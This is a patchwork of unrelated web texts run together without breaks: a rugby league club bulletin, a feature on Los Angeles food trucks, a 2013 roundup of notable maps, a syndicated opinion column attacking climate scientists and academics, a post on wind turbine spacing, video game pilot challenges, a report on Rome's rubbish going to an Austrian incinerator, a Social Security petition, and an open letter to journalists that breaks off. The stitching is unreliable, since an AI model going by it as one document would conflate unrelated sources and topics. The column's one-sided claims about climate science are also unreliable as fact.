Easter enactment. Birthday boys this week: Justin O'Neill turns 26 on Tuesday, Lachlan Coote's 27th is on Thursday and Josh Chudleigh celebrates 23 years on Saturday. The Cowboys will be supporting Men of League at Saturday's home game against Wests Tigers. Men of League provides assistance and support to players, coaches, referees, officials and administrators from all levels of the game, as well as members of their families and the broader rugby league community. They'll be in LGIAsuper Community Hub at 1300SMILES Stadium from 5pm for members and fans to find out more.Josh Hiller is fed up. As a partner in RoadStoves, the food truck outfitter that helped launch Kogi into the stratosphere, he thinks L.A.'s rapidly expanding new-wave food truck scene is getting out of hand. "We tried to be very specific about the trucks we launched; we were looking for good business models and good food," says Hiller of the months that followed Kogi's launch 21/2 years ago and its unexpected success. At the time, Angelenos, united by Twitter, lined up for two hours or more to taste the truck's signature Korean barbecue tacos. "We got hundreds of calls, but we rejected 95% of the requests. The problem came when the other commissaries and truck owners saw money and basically just prostituted the whole culture. So what you ended up with was 15 so-so trucks parked on Mid-Wilshire, the city unhappy, a mediocre food product and all the truck owners cannibalizing each other's business." Photos: Food truck culture Hiller is not alone in feeling that what was once an exciting, underground food scene driven by a punk rock aesthetic and an exploratory mentality is swiftly becoming a mainstream, bottom-line-obsessed maze of infighting and politics. When Kogi started, there were only a few new-wave food trucks on the scene; now that number is hovering near 200, says Hiller. And where experimental entrepreneurs once dominated, corporate players such as Jack in the Box and Sizzler are entering the fray. There are other issues too, including a wealth of copycat trucks and the sense that many entering the business have no culinary experience but expect to make a fortune. That's not to say that there isn't a silver lining to the movement's adolescence. Hiller, other truck owners and a ravenous public believe in the food truck's promise — the realization of a street-food culture that unites a disparate city and encourages a community that lingers outdoors together over a plate of food. It's a concept long understood by the loncheras, or taco trucks, that have operated for decades without stirring the beehive of debate that these flashy new trucks have generated. Food trucks have also placed L.A. at the center of a national movement, with city councils, including those of Boston and Chicago, looking to L.A. to guide them through the issues presented by their own nascent food truck cultures, and television shows like "The Great Food Truck Race" capitalizing on the hype. As other cities join the rolling party, those at the forefront of L.A.'s movement are evolving new business tactics to stay afloat in an increasingly saturated marketplace. Soon after Kogi's success, co-owner and chef Roy Choi began selling his tacos at Alibi Room, and a year ago Choi's team opened a small Westside restaurant called Chego. Now trucks including Frysmith, Komodo and Coolhaus are opening brick-and-mortar outlets themselves. Even Hiller is moving his business in a new direction. He says RoadStoves is launching very few trucks until the scene self-corrects, and he's creating an online store that will sell popular food truck items nationwide. "Originally you could make a profit pretty quickly, but now you wouldn't be profitable for a long time," says Eric Tjahyadi, who co-founded the Komodo fusion truck with his brother Erwin a year and a half ago and recently opened a restaurant at Pico and Robertson boulevards. "There is so much saturation that we had to secure our future. Food truck leasing prices have gone way up since everybody is doing it. And it's such a trend that you can't just be a hot dog truck, you have to be an Indian hot dog truck to be unique." Hiller says that to launch a truck you'd need to spend at least $15,000, but you'd lose money for so long that you'd need $20,000 more to get to a point of survival. To have a truck custom-built can cost six figures. Dave Danhi, the former Water Grill chef whose Grilled Cheese Truck has become a phenomenon on par with Kogi (recently generating a two-hour line at the Santa Anita Gourmet Food Truck Festival), says that getting into the black was no small feat even though he had 2,500 followers on Twitter before he had the keys to the truck in his hand. "With all the regulations that are starting to crack down, it will be survival of the fittest," says Danhi, on his way to make an appearance on the TV show "L.A. Ink," where he was getting a tattoo of his truck's logo as his "homage to fromage." Danhi too plans to incorporate a traditional restaurant model into his business plans. As do Natasha Case and Freya Estreller, the custom ice cream queens behind the Coolhaus truck, which launched in April 2009, making them, they say, "ancient." The women already have three trucks in L.A. and two in Austin, Texas, and are in the process of rolling out two more in New York. When they open their brick-and-mortar location in Culver City this summer, it will employ a neat "inside-out" meta-twist that is sure to blow food truck followers' minds: Their new store will be a truck parked inside the building. "It's natural selection," says Estreller. "The variables of vending on the street are very tough — I see it as a way to market ourselves so we can book catering. For example, now we're in Whole Foods, which I don't think we would've have gotten into if we hadn't been out there branding ourselves." Kogi's Choi, the father of the scene, is amazed by the circus food trucks have generated and tries to distance himself from the politics. Sitting in front of Chego, wearing jeans with rolled cuffs and black sneakers, and sporting a tattoo of a heart with the initials L.A. and O.C. inside of it, Choi shows cellphone pictures of street vendors he met on a recent pilgrimage to Thailand. He believes that the trucks will thrive and grow only if people "get past the hype" and embrace the trucks culturally, like the people in his pictures. "The thing about taco trucks that people don't really understand is that it's not about cheap eating," he says. "Why do you think families bring their kids to eat on folding chairs? Not because it's cheap but because it's part of the culture. It's only in America where it's not considered a beautiful thing to be sitting outside with your family enjoying the weather. It's only here where we have to sanitize everything." He says trucks need to stop congregating in the same lots and go out into L.A.'s vast outer reaches to feed neighborhoods "stacked with relatives," such as Santa Fe Springs, Downey, La Puente, Hacienda Heights, Granada Hills, Northridge, El Segundo, Torrance, Reseda and Arleta. If you "don't serve and honor the culture and soul of L.A.'s neighborhoods, what differentiates you from that Marie Callender's across the street that you are so blatantly fighting against?" asks Choi. Photos: Food truck culture jessica.gelt@latimes.comGreat maps were everywhere in 2013. Some seemed destined to go viral. Some were stunning to see. Others had noble intentions and interesting stories to tell. Lots were made by people who aren't professional mappers. Here are some our favorites. It's by no means an exhaustive list (and we were paying closer attention to new maps after we launched Map Lab in July), so if we missed one you think we were crazy to leave off this list, let us know in the comments. Above: The million-plus amateur cartographers who volunteer their time to plot roads, streets, and even shrubbery for Open Street Map were busier than ever this year. The beautiful map above, created by MapBox, shows how the database has grown since its inception in 2004. Hot pink areas are newly mapped, blue and green areas are older. (There's a zoomable version on Mapbox's website). OSM's database of more than 21 million miles of roads and 78 million buildings, keeps finding new uses, such as helping first responders to disasters like this year's typhoon Haiyan in the Philippines. Image: MapBox/OpenStreetMap contributors This globe, from the early 1500s, may be the oldest surviving globe that depicts the Americas (as well as Japan and Arabia). A paper in the fall issue of The Portolan, the journal of the Washington Map Society, argues that the globe was made in 1504, which would likely make it a few years older than the copper Hunt-Lenox globe at the New York Public Library. This one is about the size of a grapefruit and was made from the bottom halves of two ostrich eggs. Along with the Lenox globe, it's the only historical map known to include the sentence HIC SVNT DRACONES (here are dragons). Image: Washington Map Society This map shows the paths of every hurricane and cyclone detected since 1842 -- nearly 12,000. NOAA keeps the track info in a single database, and made this map which shows the frequency of the storms. You can clearly see that more storm tracks have overlapped in the western Pacific ocean and northern Indian ocean. This is largely because of the length of the typhoon season, which basically never stops in the warmer waters there. NOAA also mapped the storm intensities. Image: NOAA Making beautiful maps just keeps getting easier. MapStack, a free online tool released in June by Stamen Design, lets you create maps by combining up to five artfully altered layers of satellite imagery and Open Street Map data. Simple sliders let you play around with things like background color and opacity. Best of all, it's easy to use, closer to Instagram than Photoshop in complexity, so no coding expertise or knowledge of GIS is required. Image: MapStack/Stamen Iceland’s interesting topography can be seen beautifully on this map made up of elevation contours, or isolines made by Aitor Garcia Rey. You can explore and zoom in on the map hosted on CartoDB and read all the gory details of how it was made. Map: Aitor Garcia Rey On July 24 New York City’s Department of City Planning quietly released its trove of tax lot records, freeing a trove of data that spawned a flood of maps and gave open data advocates something to celebrate. The dataset, called MapPLUTO (short for Property Land Use Tax lot Output), is a detailed tract of every piece of property in the city. The map above, PLUTO Is Free by Andrew Hill of CartoDB is a celebration of the data windfall. Map: Andrew Hill The image above is a screenshot from an amazing interactive global map of near-real-time wind pattern forecasts, based on data from the Global Forecast System. Cameron Beccario, inspired by last year's extremely popular U.S. wind map, built this visualization using D3 and other javascript modules. The interactive version is really fun to play with by turning the globe with your mouse, and the patterns are nothing short of mesmerizing. It's maps like these that make us really want to learn how to code. Map: Courtesy of Cameron Beccario The map above has a single dot for each person in San Francisco, colored according to race (White: blue dots; African American: green dots; Asian: red; Latino: orange; all others: brown). The full map, created by Dustin Cable at University of Virginia’s Weldon Cooper Center for Public Service, covers the entire country -- 308,745,538 dots -- and is based on data from the 2010 U.S. Census. The racial dot map became one of the most viral maps the internet as ever seen. Map: Dustin Cable Old maps are great, but there's no point hoarding them away where no one ever sees them or uses them. The New York Public Library is doing some creative things to make its huge collection of historic maps more accessible and relevant in the digital age, and their Building Inspector game, launched in October, is the latest example. It harnesses the idle time of New Yorkers (or anyone else) to inspect and correct building footprints in the digitized versions of fire insurance maps from the 1800s. In just a few weeks, volunteers plowed through 61,000 buildings in an 1857 atlas of Manhattan. Now the library has set them loose on an 1855 atlas of Brooklyn. Image: NYPL Twice a year, the setting sun lines up with the street grid of New York City's Manhattan, creating an incredible show and a free-for-all for amateur photographers. The phenomenon is known as Manhattanhenge, but the map above, dubbed NYCHenge and made by Javier Santana shows when and where the show can be caught all across New York City, any day of the year. Image: Javier Santana / CC ShareAlike 3.0 license This map shows where people call "the miniature lobster that one finds in lakes and streams." The red areas prefer crawfish, the blue zones use crayfish and the green is where people say crawdad. The map is part of a project by Joshua Katz of the North Carolina State University's Department of Statistics that looked at how a huge number of different terms are pronounced throughout the country. From "soda" vs. "pop" to "you guys" vs. "you all," the maps are incredibly fun to sift through -- and consequently took over the internet for a several days in June. Map: Joshua Katz The interactive map above, unveiled in May, is designed to help property owners assess the costs and benefits of installing solar panels. Type in an address, and you get a map of the solar energy potential of your neighborhood or building, along with estimates of how long it would take you to recoup your investment and how much planet-warming carbon dioxide you'd be keeping out of the atmosphere. The project, called Mapdwell, is a collaboration between MIT's Sustainability Lab, the design firm MoDE Studio, and the city of Cambridge, Massachusetts. In December, Mapdwell released a second solar map -- for Washington, DC. Image: screenshot, Mapdwell solar map of Cambridge In his spare time, an Australian train driver imagined, documented and mapped an entire fictional island nation in detail you will not believe. The maps of the Republic of Koana Islands look very, very real. The country also has a rich history, a high standard of living, excellent public transportation and three baseball leagues. Map copyright Ian Silva David Rumsey scanned and uploaded 11,502 maps and cartographic artifacts from his magnificent collection in 2013. They included this comparative view of the world's rivers originally published in London in 1817 (see a zoomable version on Rumsey's website). The accompanying text describes the Missouri River, recently navigated by Lewis and Clark, as "extremely devious." Other interesting maps Rumsey uploaded this year include an infamous 1885 map of gambling and prostitution in San Francisco's Chinatown, and a 1948 freeway planning map of the city, which is featured in a new exhibit of his collection at San Francisco airport. Image: David Rumsey Map Collection Journalists continued to get more creative with maps this year. The American Futures Project is one nice example. Journalist James Fallows and his wife have been traveling across the U.S. by small plane to report on how communities across the country are bouncing back (or not) from the financial crisis for The Atlantic and the public radio show Marketplace. Readers can follow Fallows's travels on his "geoblog." Based on a story map template developed by Esri, the geoblog combines maps, text, and images to complement Fallows's reporting. Another great example: this interactive map of the Curiosity rover's travels on Mars made by The New York Times. Image: The American Futures Project/ESRIAcademic Stalinism Still Thriving Originally published on this site There are many opinionated people on each side of the political spectrum, including me, but I haven’t heard of any conservatives trying to muzzle leftists. Liberals on the other hand? Ha. Man-made global warming liberals ridicule skeptics as corrupt or brain-dead deniers, and their advocate in chief, President Obama, habitually derides conservatives for rejecting his hysterical narrative on climate change. Don’t assume they do this solely for political advantage. It can be far more serious than that. A claque of 20 climate scientists, in an open letter, urged Obama and Attorney General Loretta Lynch to use the federal Racketeer Influenced and Corrupt Organizations Act to criminally investigate “corporations and other organizations that have knowingly deceived the American people about the risks of climate change.” Knowingly deceived? That’s rich, coming from a barely disguised political movement tainted by well-documented fraud and corruption. I’m no scientist, but it is remarkable to me that the scientists and politicians most adamantly demanding cloture on global warming debate violate the very essence of science in their premature certitude. Doesn’t science involve open-mindedness and liberal inquiry, even into questions that may seem to be settled? But in the case of climate change, the matter is hardly settled, and it’s ironic that proponents point to skeptics’ alleged corruption as their motivation for denying the science. There is sick money, not to mention enormous peer pressure, behind the climate change agenda (you’d better believe it’s an agenda) and chilling any dissent. To wit: One of the principals behind the open letter is Jagadish Shukla, a George Mason University professor who reportedly receives an annual salary exceeding $250,000, in addition to multiples of that amount from government climate grants paid to his nonprofit entity. The case for catastrophic man-made global warming is tenuous at best; there are many scientists (though perhaps not so credentialed in the field as Dr. Albert Einstein Gore) who reject the apocalyptic claims. Even if the case were compelling, none of the alarmists has ever explained how their draconian proposals would make a significant difference in stemming the tide. But there is no such uncertainty about the economic devastation their rash of “solutions” would cause. If history has taught us anything, it is that science is not a matter of consensus and that so-called consensus has been wrong so often that it’s amazing these charlatans have the audacity to keep puffing their chests. Every other day, we see a new story debunking some long-held scientific “truth.” Let’s face it. Far too many leftists are not just totalitarian in their ideology; they would also impose their ideas through totalitarian means, giving rise to the obvious inference that totalitarian ideology leads to totalitarianism in practice — and history bears this out, as well. It’s inconceivable that well-respected universities have such dangerous crackpots on their payroll — and that they are not even considered crackpots, much less dangerous, by their brethren. It just doesn’t get much scarier and more anti-American than trying to criminalize dissent. This Stalinist academic mindset far transcends just climate change, as you surely know. For all their cheap talk of diversity, academic leftists are just not that into academic diversity. Remember when universities encouraged open-mindedness and freedom of inquiry into a broad range of ideas? The Cornell University newspaper disclosed that a stunning 96 percent of the political money donated by faculty members in the past four years went to Democrats. What possible excuse could an institution of higher learning have for such oppressive uniformity of thought? Simple. “Placing more emphasis on diversity of political beliefs when hiring,” says Cornell government professor Andrew Little, would “almost certainly require sacrificing on general quality or other dimensions of diversity.” In other words, conservatives are anti-intellectual rubes. Perhaps by “general quality,” Little means such things as professors who would reject the latest campus craze over “microaggressions,” which deems innocuous questions such as asking where someone is from and harmless statements such as calling America “the land of opportunity” prohibitively offensive on campus. English professor Kenneth McClane sheds further light on Cornell’s conceit: “It is not surprising that faculty at Cornell find the anti-scientific rhetoric of many in the Republican Party to be troublesome. Many of us here are scientists. We believe in global warming, since we believe what the research tells us.” But the winning quote is from professor Richard Bensel, who said, “Cornell does not have to be a banquet that offers every viewpoint.” Perhaps not “every,” but how about a fair, even a small, representation of other viewpoints — in science, history, economics, social sciences, political science, journalism and the rest? No, I suppose not. That would result in greater diversity of thought in the universities, which in turn might retard the steady march of the leftist agenda in our culture. The collective ministers of truth will never let that happen. It’s not just the close-mindedness of the left, its lack of intellectual curiosity and its fascist inclinations to smother and outlaw dissent that are disturbing. It’s also its staggering lack of self-reflection and self-awareness. These people are exactly the opposite of what they hold themselves out to be. David Limbaugh is a writer, author and attorney. His latest book is “The Emmaus Code: Finding Jesus in the Old Testament,” which will be released Nov. 9. Follow him on Twitter @davidlimbaugh and his website at www.davidlimbaugh.com. To read features by other Creators Syndicate writers and cartoonists, visit the Creators Syndicate Web page at www.creators.com. COPYRIGHT 2015 CREATORS.COM Last Updated: Monday, Oct 19, 2015 15:12:44 -0700 Originally posted at http://get.creators.com/content/release/148579.Take out the middle turbine (above) for a better idea on how far apart turbines should be for optimal power production, based on this new research. Photo: FranceHouseHunt.com/Creative Commons Some new research on the importance of proper spacing in getting the most out of commercial-scale wind farms: Currently wind farms space turbines with 300' rotor diameter about seven rotors diameters, roughly four-tenths of a mile apart. What engineers from Johns Hopkins University and Katholieke Univeritet Leuven in Belgium determined is that an optimal spacing for turbines of this size is more like 15 rotor diameters apart, just under a mile. Earlier computational models for large wind farm layouts were based on simply adding up what happens in the wakes of single wind turbines, Meneveau said. The new spacing model, he said, takes into account interaction of arrays of turbines with the entire atmospheric wind flow. Meneveau and Meyers argue that the energy generated in a large wind farm has less to do with horizontal winds and is more dependent on the strong winds that the turbulence created by the tall turbines pulls down from higher up in the atmosphere. Using insights gleaned from high-performance computer simulations as well as from wind tunnel experiments, they determined that in the correct spacing, the turbines alter the landscape in a way that creates turbulence, which stirs the air and helps draw more powerful kinetic energy from higher altitudes. (Science Daily) Oh great, now big wind farms have to take up even more space to optimize electricity production and getting the biggest of these approved now can be difficult balancing the needs of clean energy production, conserving ecologically sensitive areas, not ruining important views, and keeping neighbors happy (and if they live too close by, perhaps, healthy). But maybe not. Maybe wider spacing actually reduces visual impact a bit, even if overall area occupied wind turbines for the same amount of power increases. Think about it, from a distance half a mile is far closer together than a mile. Perhaps the lesser density will actually sway some wind farm NIMBYs. It may seem like the wind power potential on a given area of land now goes down, but perhaps the power boost from better spacing makes up for the lower turbine density--at least from what I've seen the researchers didn't give a specific figure for how much more power is produced. Maybe this lower density actually means that the number of turbines needed to generate a given amount of electricity actually drops. Remember that even if a project is rated at x megawatts that it only produces a fraction of that in electricity due to the fact that wind speeds aren't always optimal, maintenance, and a variety of other factors. Lots of variables here in terms of interpreting what this means outside of the computer model and wind tunnel. More on Wind Power: Oregon Wind Farm Neighbors Offered $5000 Not to Complain About Noise Residents Demand More Wind TurbinesEven if you only recently joined the ranks of the Valkyrie over the holiday period you’ve now had a decent amount of flying hours to polish those piloting moves so it’s time to put your skillz to the test. We’re setting you three challenges and we want you to share screens and vids of your antics, or just tell us how you fared over on the forums. Your missions, should you choose to accept them, are detailed below. This message will (not) self-destruct in five seconds. Carrier Assault Speed Run As we all know Carrier Assault is the most complex of the play modes in EVE: Valkyrie, in that it requires three different attack stages. The first involves taking down two of the enemy carrier’s three control points, at which time the ship’s shields will come down. Next the attacking team has to destroy the carrier’s cooling nodes in order to expose the craft’s core. The final stage involves attacking the exposed core leading to the total destruction of the carrier. Remarkably, a group of New Eden’s finest pilots managed to do this in under three minutes as evidenced by this awesome video. Please accept marketing cookies to watch this video. We’re not expecting the same of our less experienced pilots but we want you to simply take down a carrier as quickly as possible and share your victory with us. If you crack it in under five minutes we will be seriously impressed. Clean Sweep In a Team Death Match you have a pool of clones that enable you to continue the battle even after you’ve died a number of times. However, for this challenge we want you to enter yourself into any Team Death Match set-up and emerge victorious with as few deaths as possible. Obviously, the Holy Grail in this challenge would be to finish with zero deaths but let’s see how close you can get to that target. Crazy Kamikaze This final challenge goes against everything any self-respecting Valkyrie pilot believes in, but hey, it’s all in the name of fun. Choose any craft, any mode and any map you like and see how quickly you can get yourself killed. Clearly a support ship will be the vehicle of choice for this one but if you fancy a slightly trickier challenge, go for a fighter or heavy instead. Got all that? Good. You can participate in any or all of the challenges… we just want to see how well you perform under pressure. Fly safe, pilots (except in the third challenge, obvs).Media playback is unsupported on your device Media caption How Rome's rubbish is powering Austrian homes Rome's rubbish is helping to power Austrian homes - and it gets to Austria by train. Rome has been struggling to cope with a rubbish crisis and Austria has spare capacity at a waste-to-energy plant near Vienna. So a deal has been struck. The Italians are paying Austrian company EVN to dispose of up to 70,000 tonnes of Roman household refuse this year. The waste is transported by train through northern Italy, over the Alps and ends up at the EVN thermal waste utilisation plant at Zwentendorf on the Danube. Up to three trains a week arrive at the Zwentendorf plant. Each carries airtight containers loaded with around 700 tonnes of Roman household waste. The refuse is incinerated and converted into hot flue gas, which generates steam. The steam is delivered to a neighbouring power station, where it is converted into electricity, which is used to power 170,000 houses in the province of Lower Austria. How Norway turned rubbish into fuel It may seem counter-intuitive to carry rubbish over 1,000km (620 miles) before disposing of it, but it is part of efforts in the European Union to make cities reduce the amount of waste that goes into landfills. "It is not crazy," insists Gernot Alfons, head of the EVN thermal waste plant. For him it is an environmentally friendly solution and the rubbish trains are key. "The other alternative would be to put this rubbish into landfill, which creates a lot of methane emissions that create a lot of impact in terms of CO2 emissions. "It is much better to transport this waste to a plant which has a high energy efficiency like ours." Image caption The trains travel more than 1,000km to Zwentendorf in eastern Austria... Image caption...where the waste is sorted and incinerated before being used to power thousands of homes So what has gone wrong with Rome's waste disposal? Even in elegant districts like Prati, near the Vatican, it is not hard to see that the city has a rubbish problem. Overflowing communal bins for both household waste and recycling are a common sight, and a lot of Romans are very unhappy. "I think it is outrageous," Claudia Grassi, a resident of Rome told me. "The beautiful town of Rome is being insulted. It is like a beautiful woman that has been wounded again and again." Image caption Rubbish overflows in the elegant streets of Prati near the Vatican Antonio La Spina, professor of sociology and public policy at Rome's LUISS University, says the city produces more waste than it can cope with. "One factor is the remarkable amount of waste that is produced per capita in Rome. Another is that the share of (separated) waste is increasing. "That's a good thing in general, but not if the authorities aren't ready to deal with it all - which they aren't. "Another problem is the fact that the landfills are full - and some are already a big environmental problem, and need to be closed." Rome's landfill sites are so full, he says, that the authorities have not only had to look beyond the region, but beyond Italy, to dispose of their waste. Where there's muck, there's brass But it is not just the lack of space. The rubbish problem is also political. Image copyright Getty Images Image caption Rome Mayor Virginia Raggi's vow to tackle the rubbish crisis has hit the buffers Waste disposal and other public services in Rome have been plagued by more than mismanagement. In 2014, an investigation known as Mafia Capitale laid bare corruption and tainted bidding in city services, including rubbish collection. Rome's Raggi finds it tough at the top When in Rome shake up the politics Rome's new Mayor Virginia Raggi, from the populist Five Star Movement, came to power last year promising to clean up the city. But she ran into trouble almost immediately. The person she appointed as the city's rubbish tsar, Paola Muraro, was forced to resign after it emerged she was under investigation for alleged wrongdoing during her 12-year stint as a consultant to Rome's rubbish collection agency, AMA. Image copyright Getty Images Image caption Not a pretty sight: Rome's Campo de' Fiori is a mess for several hours a day Ms Muraro has denied allegations of impropriety. But Mayor Raggi is under pressure. In Campo de' Fiori, one of Rome's most attractive markets, rubbish piles up on the cobblestones almost every afternoon, amid the flower and vegetable stalls. Rubbish collectors eventually arrive to clean it up, but Vladimir, who works at a local restaurant on the square, shakes his head. "It is disgusting here for two or three hours a day, until they clear it up. Tourists who come here are in shock. In the centre of a European capital, this is not normal."Hands Off Social Security: Sign the Petition Tell President Obama and his Catfood Commission to keep their hands off Social Security. Sign our petition using the form below. Email: Zip: Social Security cuts are coming for “virtually every American alive and those yet to be born,” in the words of Eric Kingson, co-chair of the Strengthen Social Security Campaign. And for what? Corporate tax cuts. Seriously: the co-chairs of President Obama’s deficit commission want to cut Social Security benefits for everyone making more than $25,000 a year. And then cap corporate taxes at just 26%. Every member of this commission, every member of Congress, and President Obama himself must reject these insane ideas. We’re starting an emergency petition to President Obama, and his Catfood Commission to take Social Security cuts off the table. Sign our petition to President Obama and his Catfood Commission: hands off Social Security. Click here to add your name. The proposed cuts to Social Security are so deep, for so many people. This is a direct attack on America’s middle class for the benefit of Corporate America. We have an opening to keep Social Security safe. Today’s report consists of the recommendations of the Catfood Commission’s co-chairs, who were appointed by President Obama. You’ll remember one of them: Alan “Social Security is a Milk Cow with 310 Million Tits” Simpson. He’s the guy who also said the Catfood Commission had to cut Social Security to “help the lesser people of society.” Simpson’s ideas are so awful, sixteen other members of the Catfood Commission didn’t want to touch it. Problem is, this is the “starting point” for discussions. This will be negotiated, and many of these awful ideas could be in the final proposal. We owe our citizens better than a retirement with cat food on the dinner table. That’s why we call it the Catfood Commission: the proposed Social Security cuts to virtually every American would mean far less money in their pockets. It’s bad enough to even think about cutting Social Security – but to do it to pay for corporate tax cuts? That’s insane. We need to make sure they hear us loud and clear: hands off of Social Security. Click here to sign our petition to President Obama and his Catfood Commission: don’t touch Social Security.Photo via National Park Service Digital Image Archives Dear friends in American journalism, Ordinarily, it is you who offer the rest of the world advice about press freedom, and the accountability architecture of democratic societies, so I understand that it may be strange to hear it coming back at you, but this will not be the last inversion that the election of Donald Trump delivers. You have some deep resources to draw on for the battle that is closing around you. For starters there is your Constitution, which offers stronger protections than just about any comparable legal framework. And your

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